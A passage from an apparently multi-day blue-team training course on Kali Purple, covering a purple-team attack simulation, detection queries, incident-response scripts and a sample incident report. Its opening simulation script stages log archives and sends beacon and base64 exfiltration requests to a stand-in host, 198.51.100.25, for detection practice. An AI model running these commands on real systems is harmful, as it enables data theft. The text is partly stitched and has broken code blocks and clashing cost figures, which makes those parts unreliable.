Stage 9: Collection

echo "[Stage 9] Collection" find /tmp -type f -name "*.log" -exec cat {} ; > /tmp/collected.txt 2>/dev/null tar czf /tmp/exfil_data.tar.gz /tmp/*.log 2>/dev/null sleep 5

Stage 10: Command and Control

echo "[Stage 10] Command and Control" curl -s http://198.51.100.25:8080/beacon -d "hostname= (hostname)&user= (whoami)" > /dev/null 2>&1 sleep 5

Stage 11: Exfiltration

echo "[Stage 11] Exfiltration" base64 /tmp/exfil_data.tar.gz > /tmp/encoded_data.txt curl -X POST -d @/tmp/encoded_data.txt http://198.51.100.25:443/upload > /dev/null 2>&1 sleep 5

Cleanup (for exercise)

echo "[Cleanup] Removing artifacts"
kill $MALWARE_PID 2>/dev/null
crontab -r 2>/dev/null
rm -f /tmp/payload.sh /tmp/collected.txt /tmp/exfil_data.tar.gz /tmp/encoded_data.txt
rm -f ~/.config/autostart/updater.desktop

echo "Exercise complete: $(date)"

Blue Team Detection Checklist:

````markdown
## Detection Validation Checklist

### Stage 1: Reconnaissance
- [ ] Port scan detected by Suricata
- [ ] Network scanning pattern in Zeek logs
- [ ] Unusual DNS query volume

**Query:** `event.type: "network" AND event.action: "port_scan"`

### Stage 2: Initial Access
- [ ] Suspicious download detected
- [ ] New executable in uncommon location
- [ ] File created from network source

**Query:** `file.path: "/tmp/*.sh" AND event.action: "creation"`

### Stage 3: Execution
- [ ] New process spawned from /tmp
- [ ] Unusual parent-child process relationship
- [ ] Process execution outside standard paths

**Query:** `process.executable: "/tmp/*" AND event.action: "process_start"`

### Stage 4: Persistence
- [ ] Crontab modification detected
- [ ] Autostart file created
- [ ] New scheduled task

**Query:** `file.path: ("/var/spool/cron/*" OR "*/.config/autostart/*")`
````

Stage 5: Defense Evasion
- [ ] Log file modification/deletion
- [ ] Suspicious file operations
- [ ] Evidence tampering

Query: `event.action: ("deletion" OR "modification") AND file.path: "/var/log/*"`

Stage 6: Credential Access
- [ ] Password file access attempts
- [ ] SSH key enumeration
- [ ] Credential dumping tools

Query: `file.path: ("*password*" OR "*.key" OR "/etc/shadow")`

Stage 7: Discovery
- [ ] System enumeration commands
- [ ] Network discovery activity
- [ ] User enumeration

Query: `process.name: ("ps" OR "netstat" OR "who" OR "w")`

Stage 8: Lateral Movement
- [ ] Unusual network connections
- [ ] RDP/SSH to multiple hosts
- [ ] Admin share access

Query: `destination.ip: * AND unique_count > 5 within 5 minutes`

Stage 9: Collection
- [ ] Data staging detected
- [ ] Large file operations
- [ ] Archive creation

Query: `process.name: "tar" AND process.args: "czf"`

Stage 10: Command and Control
- [ ] Communication with known C2 IP
- [ ] Beaconing pattern detected
- [ ] Unusual outbound connections

Query: `destination.ip: "198.51.100.25" OR event.type: "c2_communication"`

Stage 11: Exfiltration
- [ ] Large outbound data transfer
- [ ] Base64 encoding of data
- [ ] Upload to external server

Query: `process.name: "curl" AND process.args: "POST" AND network.bytes > 100000`
````

**Purple Team Analysis:**

After running the exercise:

1. **Open Kibana → Discover**
2. **Filter by last 15 minutes**
3. **Check each detection**
4. **Document results:**
````markdown
## Purple Team Exercise Results

### Detection Coverage: X/11 stages detected (XX%)

| Stage | Description | Detected? | Alert Name | Detection Time |
|-------|-------------|-----------|------------|----------------|
| 1 | Reconnaissance | ✅/❌ | [Alert Name] | [Time] |

| 2 | Initial Access | ✅/❌ | [Alert Name] | [Time] |
| 3 | Execution | ✅/❌ | [Alert Name] | [Time] |
| 4 | Persistence | ✅/❌ | [Alert Name] | [Time] |
| 5 | Defense Evasion | ✅/❌ | [Alert Name] | [Time] |
| 6 | Credential Access | ✅/❌ | [Alert Name] | [Time] |
| 7 | Discovery | ✅/❌ | [Alert Name] | [Time] |
| 8 | Lateral Movement | ✅/❌ | [Alert Name] | [Time] |
| 9 | Collection | ✅/❌ | [Alert Name] | [Time] |
| 10 | C2 | ✅/❌ | [Alert Name] | [Time] |
| 11 | Exfiltration | ✅/❌ | [Alert Name] | [Time] |

### Gaps Identified:
1. [Stage] - [Why not detected]
2. [Stage] - [Why not detected]

### New Rules Created:
1. [Rule name and logic]
2. [Rule name and logic]

### Improvements Made:
1. [Tuning or configuration change]
2. [Tuning or configuration change]

### Mean Time to Detect: X minutes
### Mean Time to Respond: X minutes

### Overall Assessment:
[Narrative summary of results]
````

Course Conclusion and Final Assessment (5:00 - 6:00 PM)
````

Comprehensive Knowledge Check

Day 1 Review: Security Monitoring and SIEM
- [ ] Can I configure and operate Elastic Stack?
- [ ] Can I create effective visualizations and dashboards?
- [ ] Can I write detection rules for common threats?
- [ ] Can I integrate multiple security tools into SIEM?
- [ ] Can I perform log analysis and correlation?

Day 2 Review: Detection and Threat Hunting
- [ ] Can I write advanced detection rules (EQL, thresholds)?
- [ ] Can I conduct hypothesis-driven threat hunting?
- [ ] Can I use Zeek for network security monitoring?
- [ ] Can I perform memory forensics with Volatility?
- [ ] Can I execute purple team exercises?

Day 3 Review: Incident Response and Forensics
- [ ] Can I collect forensic evidence properly?
- [ ] Can I analyze logs across multiple sources?
- [ ] Can I perform disk and memory forensics?
- [ ] Can I create comprehensive incident reports?
- [ ] Can I automate incident response actions?

Your SOC Analyst Readiness Assessment

Technical Skills (Rate 1-5):
- SIEM Operation: ___/5
- Log Analysis: ___/5
- Network Security Monitoring: ___/5
- Threat Hunting: ___/5
- Incident Response: ___/5
- Digital Forensics: ___/5

- Detection Engineering: ___/5
- Automation/Scripting: ___/5

Knowledge Areas (Rate 1-5):
- MITRE ATT&CK Framework: ___/5
- Kill Chain Methodology: ___/5
- Network Protocols: ___/5
- Operating System Internals: ___/5
- Security Tools: ___/5
- Threat Intelligence: ___/5
- Compliance/Regulations: ___/5

Soft Skills (Rate 1-5):
- Communication: ___/5
- Documentation: ___/5
- Critical Thinking: ___/5
- Problem Solving: ___/5
- Time Management: ___/5
- Teamwork: ___/5

Next Steps in Your Blue Team Journey

Immediate Actions (This Week):
1. Set up home lab with Kali Purple
2. Deploy test environment with vulnerable VMs
3. Practice detection rules daily
4. Join blue team communities (Discord, Reddit)

Short-term Goals (1-3 Months):
1. Complete TryHackMe SOC Path
2. Practice incident response scenarios
3. Build personal threat hunting playbooks
4. Contribute to open-source security projects

Medium-term Goals (3-6 Months):
1. Pursue certification (Security+, CySA+, BTL1)
2. Participate in blue team CTFs
3. Build portfolio of detection rules
4. Create blog/writeups of investigations

Long-term Goals (6-12 Months):
1. Land SOC analyst position
2. Specialize in specific area (threat hunting, forensics, etc.)
3. Mentor others in blue team skills
4. Contribute to security community

Certification Pathways

Entry-Level (Start Here):
- **CompTIA Security+**: Foundation security knowledge
- **CompTIA CySA+**: Cybersecurity analyst skills
- **BTL1 (Blue Team Level 1)**: Practical SOC analyst skills

Intermediate:
- **GCIA (GIAC Certified Intrusion Analyst)**: Network forensics
- **GCFA (GIAC Certified Forensic Analyst)**: Digital forensics
- **GCTI (GIAC Cyber Threat Intelligence)**: Threat intel

Advanced:
- **GNFA (GIAC Network Forensic Analyst)**: Advanced network forensics
- **GCIH (GIAC Certified Incident Handler)**: Incident response
- **GREM (GIAC Reverse Engineering Malware)**: Malware analysis

Specialized:
- **OSDA (Offensive Security Defense Analyst)**: Defensive security
- **eCTHP (eLearnSecurity Certified Threat Hunting Professional)**: Threat hunting

- **CISSP**: Management/architect level

Resources for Continued Learning

Practice Platforms:
- **TryHackMe**: SOC Level 1, Cyber Defense Path
- **LetsDefend**: SOC analyst simulations
- **CyberDefenders**: Blue team challenges
- **BTLO (Blue Team Labs Online)**: Investigations and analysis
- **RangeForce**: SOC training platform

Communities:
- **r/blueteamsec** (Reddit)
- **Blue Team Village** (DEF CON)
- **SANS Blue Team Summit**
- **MalwareTech Discord**
- **The DFIR Report**

Blogs and Resources:
- **SANS Reading Room**: Free whitepapers
- **Talos Intelligence Blog**: Threat research
- **Unit 42 (Palo Alto)**: Threat intelligence
- **Microsoft Security Blog**: Enterprise security
- **Krebs on Security**: Security news

Tools to Master:
- **Splunk**: Alternative SIEM (free 500MB/day)
- **Wireshark**: Network analysis
- **Ghidra**: Reverse engineering
- **Autopsy**: Digital forensics
- **Velociraptor**: Endpoint visibility
- **RITA**: Beacon detection

Your Personal Action Plan

Create your customized learning plan:

````markdown
# MY BLUE TEAM DEVELOPMENT PLAN

## Current State Assessment
- Experience Level: [Beginner/Intermediate/Advanced]
- Technical Background: [Describe]
- Available Time: [Hours per week]
- Learning Style: [Hands-on/Theory/Mix]

## 30-Day Goals
1. [ ] Complete Kali Purple setup and configuration
2. [ ] Deploy home lab with [specific tools]
3. [ ] Create 10 custom detection rules
4. [ ] Complete [specific course/module]
5. [ ] Write first investigation report

## 90-Day Goals
1. [ ] Achieve [specific certification]
2. [ ] Complete [X] number of challenges
3. [ ] Build detection rule library (50+ rules)
4. [ ] Create personal security blog
5. [ ] Contribute to open-source project

## 6-Month Goals
1. [ ] Land SOC analyst position OR
2. [ ] Achieve advanced certification
3. [ ] Speak at local security meetup
4. [ ] Complete advanced forensics course
5. [ ] Mentor 3 new blue team learners
````

1-Year Goals
1. [ ] Senior analyst or specialized role
2. [ ] Multiple certifications achieved
3. [ ] Regular blog contributor
4. [ ] CTF team member/organizer
5. [ ] Recognized in security community

Daily Habits
- [ ] Read security news (30 minutes)
- [ ] Practice detection engineering (1 hour)
- [ ] Hands-on lab work (1 hour)
- [ ] Community engagement (30 minutes)

Weekly Reviews
Every Sunday, review:
- What did I learn?
- What challenges did I face?
- What's next week's focus?
- Update this plan as needed

Resources I'll Use
- Primary learning platform: [Platform]
- Practice environment: [Lab setup]
- Community: [Discord/Forum]
- Mentor/Study group: [If applicable]
````

---

## Final Exercises and Mastery Validation

### Exercise 39: Build Your SOC-in-a-Box (Final Project)
````

Goal: Deploy complete defensive security environment

Requirements:
1. ✅ Elastic Stack (SIEM)
2. ✅ Suricata (IDS/IPS)
3. ✅ Zeek (Network monitoring)
4. ✅ Filebeat (Log collection)
5. ✅ Custom detection rules (minimum 20)
6. ✅ Threat intelligence feed
7. ✅ Automated response scripts
8. ✅ Comprehensive dashboards
9. ✅ Incident response playbooks
10. ✅ Documentation

Deliverables:
- Fully functional SOC environment
- Detection rule library
- Incident response procedures
- System documentation
- Demo video/presentation

Exercise 40: Capstone Incident Investigation

Scenario: You are the on-call SOC analyst. Multiple alerts have fired...

Your Task:
1. Triage and prioritize alerts
2. Investigate using SIEM and tools
3. Determine if incident is real
4. Contain threat if present
5. Collect forensic evidence
6. Document findings
7. Create comprehensive report

8. Present to management

Success Criteria:
- Correct identification of attack type
- Proper evidence collection
- Appropriate containment actions
- Clear, professional documentation
- Actionable recommendations

Appendix: Quick Reference Materials

Kali Purple Essential Commands
````bash
# Service Management
sudo systemctl start elasticsearch
sudo systemctl start kibana
sudo systemctl start suricata
sudo zeekctl deploy

# Log Locations
/var/log/elasticsearch/
/var/log/suricata/
/opt/zeek/logs/current/
/var/log/filebeat/

# Configuration Files
/etc/elasticsearch/elasticsearch.yml
/etc/kibana/kibana.yml
/etc/suricata/suricata.yaml
/etc/filebeat/filebeat.yml
````

```
# Useful Aliases (add to ~/.bashrc)
alias elastic-start='sudo systemctl start elasticsearch'
alias kibana-start='sudo systemctl start kibana'
alias soc-start='elastic-start && sleep 30 && kibana-start'
alias zeek-status='sudo zeekctl status'
alias suricata-reload='sudo systemctl reload suricata'
````


Essential Kibana Queries

Authentication failures

event.action: "authentication_failure"

Process execution

event.action: "process_start" AND process.executable: "*"

Network connections

event.type: "connection" AND destination.ip: *

File operations

event.action: ("creation" OR "modification" OR "deletion")

Privilege escalation

process.name: ("sudo" OR "su") AND event.outcome: "failure"

Lateral movement

destination.port: (3389 OR 22 OR 445 OR 5985)

Data exfiltration

network.direction: "outbound" AND network.bytes > 10000000

Detection Rule Templates

Template 1: Threshold-based

Rule Type: Threshold
Query: [your query]
Threshold: Count > X
Time Window: Y minutes
Group By: [field]

Template 2: EQL Sequence

Rule Type: EQL
Query:
sequence by host.name
[event1 where condition1]
[event2 where condition2]
[event3 where condition3]

Template 3: Machine Learning

Job Type: Anomaly Detection

Detector: High count/sum/mean

Field: [metric]

Split by: [dimension]

MITRE ATT&CK Quick Reference

Initial Access (TA0001)

- Phishing (T1566)
- Drive-by Compromise (T1189)
- Exploit Public-Facing Application (T1190)

Execution (TA0002)

- Command and Scripting Interpreter (T1059)
- Scheduled Task/Job (T1053)

Persistence (TA0003)

- Boot or Logon Autostart Execution (T1547)
- Scheduled Task/Job (T1053)
- Account Manipulation (T1098)

Privilege Escalation (TA0004)

- Exploitation for Privilege Escalation (T1068)
- Process Injection (T1055)

Defense Evasion (TA0005)

- Obfuscated Files or Information (T1027)
- Indicator Removal (T1070)

Credential Access (TA0006)

- OS Credential Dumping (T1003)
- Brute Force (T1110)

Discovery (TA0007)

- System Information Discovery (T1082)
- Network Service Discovery (T1046)

Lateral Movement (TA0008)

- Remote Services (T1021)
- Lateral Tool Transfer (T1570)

Collection (TA0009)

- Data from Local System (T1005)
- Data Staged (T1074)

Command and Control (TA0011)

- Application Layer Protocol (T1071)
- Ingress Tool Transfer (T1105)

Exfiltration (TA0010)

- Exfiltration Over C2 Channel (T1041)
- Exfiltration Over Alternative Protocol (T1048)

Impact (TA0040)

- Data Encrypted for Impact (T1486)
- Defacement (T1491)

Incident Response Cheat Sheet

````bash
# Quick Triage
ps aux | grep suspicious
netstat -antp | grep ESTABLISHED
lsof -i
last -a
who -a

# Evidence Collection
sudo dd if=/dev/mem of=memory.img bs=1M count=1024
sudo tar czf evidence.tar.gz /var/log /home/user
sha256sum * > hashes.txt

# Containment
sudo iptables -A INPUT -s MALICIOUS_IP -j DROP
sudo usermod -L compromised_user
sudo systemctl stop malicious_service

# Analysis
grep SUSPICIOUS_IP /var/log/syslog
journalctl -u service_name --since "1 hour ago"
zeek-cut < /opt/zeek/logs/current/conn.log | grep IP
````

Conclusion: Your Blue Team Journey

Congratulations! You've completed the Kali Purple mastery course. Over three intensive days, you've learned:

✓ **Day 1**: Security monitoring, SIEM operations, log analysis, and IDS/IPS

✓ **Day 2**: Advanced detection engineering, threat hunting, and purple teaming
✓ **Day 3**: Incident response, digital forensics, and professional reporting

You now have the skills to:
- Build and operate a Security Operations Center
- Detect threats using advanced analytics
- Hunt for hidden adversaries proactively
- Respond to security incidents professionally
- Perform digital forensics investigations
- Create detection rules and playbooks
- Bridge offensive and defensive security

Remember:
- **Defensive security is a team sport** - Collaborate and share knowledge
- **Continuous learning is essential** - Threats evolve daily
- **Automation amplifies capability** - Script repetitive tasks
- **Documentation saves time** - Future you will thank present you
- **Think like an attacker, act like a defender** - Purple teaming works

Your Defensive Security Commitment:

I commit to:

- Protecting systems and data from threats
- Continuously improving detection capabilities
- Sharing knowledge with the security community
- Responding to incidents professionally and ethically
- Staying current with evolving threats
- Mentoring others in defensive security

- Building a safer digital world

Signed: [Your Name]

Date: [Today's Date]

The blue team needs you. Welcome to defensive security.

Course Version: 1.0
Created: Kali Purple Multi-Day Mastery Series
Previous Courses: Day 1 - Puppy Linux, Day 2 - Tails Linux, Day 3 - Kali Linux
For updates: Visit kali.org/tools/kali-purple

This comprehensive guide is complete. Deploy it. Practice it. Master it. Defend the digital realm.# Hash all evidence
echo -e "${GREEN}[+]${NC} Hashing evidence..."
find . -type f -exec sha256sum {} \; > evidence_hashes.txt

Create manifest
echo -e "${GREEN}[+]${NC} Creating evidence manifest..."
cat << EOF > manifest.txt
==========
INCIDENT RESPONSE EVIDENCE MANIFEST
==========

Case ID: $CASE_ID
Hostname: $HOSTNAME
Collection Date: $(date)
Collected By: $(whoami)

Evidence Location: $EVIDENCE_DIR

Files Collected:
- System information

```
- User account data
- Process listings
- Network connections
- Open files
- Loaded kernel modules
- Scheduled tasks
- Service information
- Persistence mechanisms
- Recent file modifications
- SUID/SGID files
- System logs
$([ -f system/memory.img ] && echo "- Memory dump")

Chain of Custody:
$(date): Evidence collected by $(whoami) from $HOSTNAME
Location: $EVIDENCE_DIR
Integrity: All files hashed with SHA256

Evidence sealed and ready for analysis.
==========================================
EOF

# Create compressed archive
echo -e "${GREEN}[+]${NC} Creating compressed archive..."
cd /evidence
sudo tar czf "${CASE_ID}.tar.gz" "$CASE_ID"
sudo sha256sum "${CASE_ID}.tar.gz" > "${CASE_ID}.tar.gz.sha256"

echo ""
echo -e "${GREEN}======================================${NC}"
echo -e "${GREEN}Collection Complete!${NC}"
echo -e "${GREEN}======================================${NC}"
echo "Evidence location: $EVIDENCE_DIR"
```

```
echo "Archive: /evidence/${CASE_ID}.tar.gz"
echo "Archive hash: $(cat /evidence/${CASE_ID}.tar.gz.sha256)"
echo ""
echo "Next steps:"
echo "1. Transfer evidence to secure storage"
echo "2. Begin analysis"
echo "3. Document findings"
echo "4. Create incident report"
```

Save and make executable:

bash

```
sudo nano /usr/local/bin/ir-collect
sudo chmod +x /usr/local/bin/ir-collect

# Run the script
sudo ir-collect
```

Exercise 35: Automated Threat Response Script (20 minutes)

bash

```bash
#!/bin/bash
# Automated Threat Response and Containment

THREAT_IP=$1
THREAT_TYPE=$2  # Options: malware, bruteforce, exfiltration, c2

if [ -z "$THREAT_IP" ] || [ -z "$THREAT_TYPE" ]; then
    echo "Usage: $0 <IP_ADDRESS> <THREAT_TYPE>"
    echo "Threat types: malware, bruteforce, exfiltration, c2"
    exit 1
fi

INCIDENT_ID="INCIDENT-$(date +%Y%m%d-%H%M%S)"
LOG_FILE="/var/log/automated-response/${INCIDENT_ID}.log"

mkdir -p /var/log/automated-response

log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" | tee -a "$LOG_FILE"
}

log "=============================================="
log "AUTOMATED THREAT RESPONSE INITIATED"
log "=============================================="
log "Incident ID: $INCIDENT_ID"
log "Threat IP: $THREAT_IP"
log "Threat Type: $THREAT_TYPE"
log "Response Level: Automatic"

# Step 1: Validate input
log "Validating IP address..."
if ! [[ $THREAT_IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
    log "ERROR: Invalid IP address format"
```

```
    exit 1
fi

# Step 2: Check if IP is whitelisted
WHITELIST="/etc/security/whitelist.conf"
if [ -f "$WHITELIST" ] && grep -q "$THREAT_IP" "$WHITELIST"; then
    log "WARNING: IP is whitelisted - manual intervention required"
    log "No automated action taken"
    exit 0
fi

# Step 3: Block IP at firewall
log "Blocking IP at firewall..."
if sudo iptables -C INPUT -s "$THREAT_IP" -j DROP 2>/dev/null; then
    log "IP already blocked"
else
    sudo iptables -I INPUT -s "$THREAT_IP" -j DROP
    sudo iptables -I OUTPUT -d "$THREAT_IP" -j DROP
    log "IP blocked successfully"
fi

# Step 4: Kill existing connections
log "Terminating existing connections..."
sudo ss -K dst "$THREAT_IP"
log "Active connections terminated"

# Step 5: Add to threat intelligence
log "Adding to local threat intelligence..."
echo "$THREAT_IP|$THREAT_TYPE|$(date)|$INCIDENT_ID" >> /var/lib/threat-intel/indicators.csv

# Step 6: Create Suricata rule
log "Creating detection rule..."
RULE_FILE="/etc/suricata/rules/auto-response.rules"
```

```
echo "alert ip any any <> $THREAT_IP any (msg:\"Blocked Threat - $THREAT_TYPE\"; classtype:bad-unknown; sid
sudo systemctl reload suricata
log "Detection rule created and loaded"

# Step 7: Update SIEM
log "Updating SIEM..."
curl -s -X POST "http://localhost:9200/threat-response/_doc" \
  -H "Content-Type: application/json" \
  -d "{
    \"@timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%S.%3NZ)\",
    \"incident_id\": \"$INCIDENT_ID\",
    \"threat_ip\": \"$THREAT_IP\",
    \"threat_type\": \"$THREAT_TYPE\",
    \"action\": \"blocked\",
    \"status\": \"contained\",
    \"automated\": true
  }" > /dev/null

# Step 8: Collect forensic data
log "Collecting forensic data..."
FORENSICS_DIR="/evidence/automated-response/$INCIDENT_ID"
mkdir -p "$FORENSICS_DIR"

# Capture relevant logs
sudo grep "$THREAT_IP" /var/log/syslog > "$FORENSICS_DIR/syslog_entries.txt"
sudo grep "$THREAT_IP" /var/log/suricata/fast.log > "$FORENSICS_DIR/suricata_alerts.txt" 2>/dev/null

# Zeek logs if available
if [ -d /opt/zeek/logs/current ]; then
    sudo grep "$THREAT_IP" /opt/zeek/logs/current/*.log > "$FORENSICS_DIR/zeek_logs.txt" 2>/dev/null
fi

# Step 9: Notify SOC team
```

```
log "Notifying SOC team..."

# Email notification (if configured)
if command -v mail &> /dev/null; then
    echo "Automated threat response executed

Incident ID: $INCIDENT_ID
Threat IP: $THREAT_IP
Threat Type: $THREAT_TYPE
Actions Taken:
- IP blocked at firewall
- Active connections terminated
- Detection rules updated
- Forensic data collected

Log file: $LOG_FILE
Evidence: $FORENSICS_DIR

Requires manual review and validation." | mail -s "Automated Response: $INCIDENT_ID" soc@company.com
fi

# Slack notification (if webhook configured)
SLACK_WEBHOOK="YOUR_SLACK_WEBHOOK_URL"
if [ -n "$SLACK_WEBHOOK" ]; then
    curl -X POST "$SLACK_WEBHOOK" \
      -H "Content-Type: application/json" \
      -d "{\"text\": \" 🚨 Automated Response Executed\\nIncident: $INCIDENT_ID\\nThreat IP: $THREAT_IP\\nType
fi

log "SOC team notified"

# Step 10: Create incident summary
log "Creating incident summary..."
```

```
cat << EOF > "$FORENSICS_DIR/summary.txt"
==========================================
AUTOMATED INCIDENT RESPONSE SUMMARY
==========================================

Incident ID: $INCIDENT_ID
Timestamp: $(date)
Threat IP: $THREAT_IP
Threat Type: $THREAT_TYPE

ACTIONS TAKEN:
1. IP address blocked at firewall
2. Existing connections terminated
3. Added to threat intelligence database
4. Detection rules created and deployed
5. SIEM updated with incident details
6. Forensic data collected
7. SOC team notified

EVIDENCE COLLECTED:
- System log entries
- IDS alerts
- Network monitoring logs
- Firewall logs

NEXT STEPS:
1. Manual review of incident details
2. Root cause analysis
3. Scope assessment
4. Determine if additional systems affected
5. Update security controls
6. Conduct lessons learned session
```

```
STATUS: CONTAINED - Requires Manual Review

Incident Handler: Automated System
Reviewed By: [Pending]
==========================================
EOF

log "Incident summary created: $FORENSICS_DIR/summary.txt"

log "=========================================="
log "AUTOMATED RESPONSE COMPLETED"
log "=========================================="
log "Full log: $LOG_FILE"
log "Evidence: $FORENSICS_DIR"

# Exit with success
exit 0
```

Make executable:

```
bash

sudo nano /usr/local/bin/auto-respond
sudo chmod +x /usr/local/bin/auto-respond

# Test the script
sudo /usr/local/bin/auto-respond 198.51.100.25 c2
```

Hour 6: Reporting and Documentation (2:00 - 3:00 PM)

Professional Incident Reporting

Report structure:

```
markdown
```

INCIDENT RESPONSE REPORT

Executive Summary
[High-level overview for non-technical stakeholders]

Incident Details
- **Incident ID:**
- **Date/Time Detected:**
- **Date/Time Resolved:**
- **Duration:**
- **Severity:** Critical / High / Medium / Low
- **Status:** Resolved / Ongoing / Monitoring

Incident Timeline
[Chronological sequence of events]

Technical Analysis
[Detailed technical findings]

Root Cause Analysis
[Why did this happen?]

Impact Assessment
[What was affected? What was the business impact?]

Response Actions
[What did we do?]

Lessons Learned
[What did we learn? What could we improve?]

Recommendations
[Actionable improvements]

```
## Appendices
[Technical details, logs, IOCs, evidence]
```

Exercise 36: Creating Comprehensive Incident Report (30 minutes)

Template implementation:

markdown

INCIDENT RESPONSE REPORT

Executive Summary

On December 15, 2024, at 14:30 UTC, our Security Operations Center detected suspicious network activity originating from IP address 192.168.1.87. Investigation revealed a compromised workstation attempting to communicate with a known command-and-control (C2) server. The incident was contained within 2 hours, with no evidence of data exfiltration. Total impact: 1 workstation reimaged, no business disruption.

Key Points:
- Single workstation compromised via phishing email
- Malware attempted C2 communication (blocked by firewall)
- Rapid detection and response prevented escalation
- No data loss or exfiltration confirmed
- Estimated cost impact: $2,500 (staff time + hardware)

Incident Details

Field	Value
Incident ID	IR-2024-1215-001
Severity	HIGH
Category	Malware Infection
Detection Time	2024-12-15 14:30 UTC
Containment Time	2024-12-15 15:15 UTC
Resolution Time	2024-12-15 16:45 UTC
Total Duration	2 hours 15 minutes
Status	RESOLVED
Incident Handler	Jane Smith, Senior SOC Analyst

| Business Impact | Minimal - Single user offline for 2 hours |

Incident Timeline

2024-12-15 09:15 UTC
- User john.doe@company.com received phishing email
- Subject: "Urgent: Password Expiration Notice"
- Sender: it-support@comp4ny.com (typo-squatting)

09:22 UTC
- User clicked malicious link in email
- Downloaded payload: "password_reset_tool.exe"
- Executed payload on workstation DESKTOP-JD-042

09:23 UTC
- Malware executed, established persistence
- Created scheduled task: "Windows Update Helper"
- Modified registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

09:25 UTC
- Malware attempted C2 communication
- Destination: 198.51.100.25:443
- User-Agent: "Microsoft-CryptoAPI/10.0"
- **Blocked by firewall** - no egress on non-standard SSL

14:30 UTC (Detection)
- SIEM alert triggered: "C2 Communication Attempt"
- Alert correlation: Multiple failed outbound connections
- SOC analyst Jane Smith assigned to investigate

14:35 UTC (Initial Investigation)

- Reviewed firewall logs confirming blocked connections
- Identified source: DESKTOP-JD-042 (john.doe)
- Checked Suricata alerts: Match on Emerging Threats signature
- Signature: "ET TROJAN Generic C2 SSL Connection"

14:45 UTC (Containment)
- Network isolation: Workstation disconnected from LAN
- User notified and workstation collected
- Password reset initiated for user account
- Forensic imaging begun

15:00 UTC (Analysis)
- Memory dump collected and analyzed with Volatility
- Malware identified: Variant of Emotet trojan
- IOCs extracted:
  - File hash: 3c1f2a5e8d9b7e4f1a2b3c4d5e6f7a8b
  - C2 IP: 198.51.100.25
  - Mutex: Global\M3m0t3T
  - Persistence: Scheduled task + Registry Run key

15:30 UTC (Eradication)
- Workstation reimaged with clean OS
- All passwords reset (including domain account)
- Email attachment quarantined organization-wide
- Sender domain blocked at email gateway

16:00 UTC (Recovery)
- Clean workstation returned to user
- User trained on phishing indicators
- Monitoring enhanced for 48 hours

16:45 UTC (Closure)
- Incident documentation completed

- Threat intelligence updated
- Post-incident review scheduled
- Incident marked as RESOLVED

Technical Analysis

Initial Infection Vector

****Phishing Email Analysis:****

From: it-support@comp4ny.com To: john.doe@company.com Subject: Urgent: Password Expiration Notice Date: 2024-12-15 09:15 UTC

Your password will expire in 24 hours. Click here to reset:
[MALICIOUS LINK]

Email contained no legitimate company branding.
Domain registered 2024-12-14 (day before attack).

Malware Analysis:

File: password_reset_tool.exe
- MD5: 098f6bcd4621d373cade4e832627b4f6
- SHA256: 3c1f2a5e8d9b7e4f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
- Type: Win32 Executable
- Signed: No
- VirusTotal: 45/70 engines detected (64% detection rate)
- Identified as: Emotet variant

Malware Behavior:
1. Executed with user privileges
2. Established persistence via:
   - Scheduled task: "Windows Update Helper"
   - Registry Run key: "SecurityUpdate"
3. Attempted C2 communication on port 443
4. Failed exfiltration attempt (no data staged for transfer)

Network Indicators

C2 Communication Pattern:

Protocol: HTTPS (TLS 1.2) Destination: 198.51.100.25:443 Frequency: Every 60 seconds (beaconing) Data Size: ~200 bytes per beacon Duration: 5 hours (09:25 - 14:30) Total Attempts: 300+ Success Rate: 0% (all blocked)

SIEM Detection Query:

```
destination.ip: "198.51.100.25" AND
destination.port: 443 AND
event.outcome: "failure" AND
source.host: "DESKTOP-JD-042"
| count by source.host > 100 within 1 hour
```

Endpoint Forensics

Memory Analysis (Volatility):
- Process: password_reset_tool.exe (PID: 4872)
- Parent: explorer.exe (PID: 2156)
- Loaded DLLs: ws2_32.dll, wininet.dll (network capable)
- Injected code: No evidence of process injection
- Network connections: Attempted TCP 443 to 198.51.100.25

File System Analysis:
- Malware location: C:\Users\john.doe\Downloads\
- Persistence: C:\Windows\Tasks\Windows Update Helper.job
- Registry keys: HKCU\...\Run\SecurityUpdate
- No additional files dropped
- Browser history: Phishing link clicked at 09:22 UTC

Root Cause Analysis

Why Did This Happen?

Primary Cause:
User fell victim to sophisticated phishing attack with typo-squatted domain.

Contributing Factors:

1. **Human Factor**
   - User did not verify sender domain
   - No hovering over link before clicking
   - Downloaded and executed unknown file

2. **Technical Gaps**
   - Email gateway did not catch newly-registered domain
   - No attachment sandboxing in place
   - Endpoint protection did not catch zero-day variant

3. **Process Gaps**
   - No recent security awareness training
   - No simulated phishing exercises
   - Incident detection time: 5+ hours after infection

Defense-in-Depth Analysis

Layer	Status	Notes
User Awareness	❌ Failed	User clicked malicious link
Email Security	❌ Failed	Email delivered to inbox
Endpoint Protection	❌ Failed	Malware not detected on execution
Network Security	✅ Success	C2 communication blocked
SIEM Detection	✅ Success	Alert generated after 5 hours
Incident Response	✅ Success	Rapid containment and eradication

---

Impact Assessment

Technical Impact
- **Systems Affected:** 1 workstation
- **Data Compromised:** None confirmed
- **Data Exfiltrated:** None (C2 communication blocked)
- **Downtime:** 2 hours (single user)

Business Impact
- **Users Affected:** 1 employee

- **Productivity Loss:** 2 hours
- **Revenue Impact:** None
- **Regulatory Impact:** None (no PII/PHI compromised)
- **Reputation Impact:** None (internal incident, no breach)

Financial Impact

Staff Time:

- SOC Analyst: 4 hours × $50/hr = $200
- IT Support: 2 hours × $40/hr = $80
- User downtime: 2 hours × $30/hr = $60

Hardware/Software:

- Forensic analysis tools: $100
- Reimaging time: $50

Total Estimated Cost: $490

Potential cost if undetected: $50,000+
(Ransomware, data breach, downtime)

Response Actions Taken

Immediate Actions (0-1 hour)
1. ✅ Alert validated and escalated
2. ✅ Workstation network isolated
3. ✅ User account password reset
4. ✅ Forensic collection initiated

Containment Actions (1-2 hours)
1. ✅ Memory dump collected
2. ✅ Disk image created
3. ✅ Malware sample extracted
4. ✅ IOCs identified and documented
5. ✅ C2 IP blocked at firewall (precautionary)

Eradication Actions (2-3 hours)
1. ✅ Workstation reimaged with clean OS
2. ✅ All user credentials reset
3. ✅ Malicious email quarantined org-wide
4. ✅ Sender domain blocked at gateway
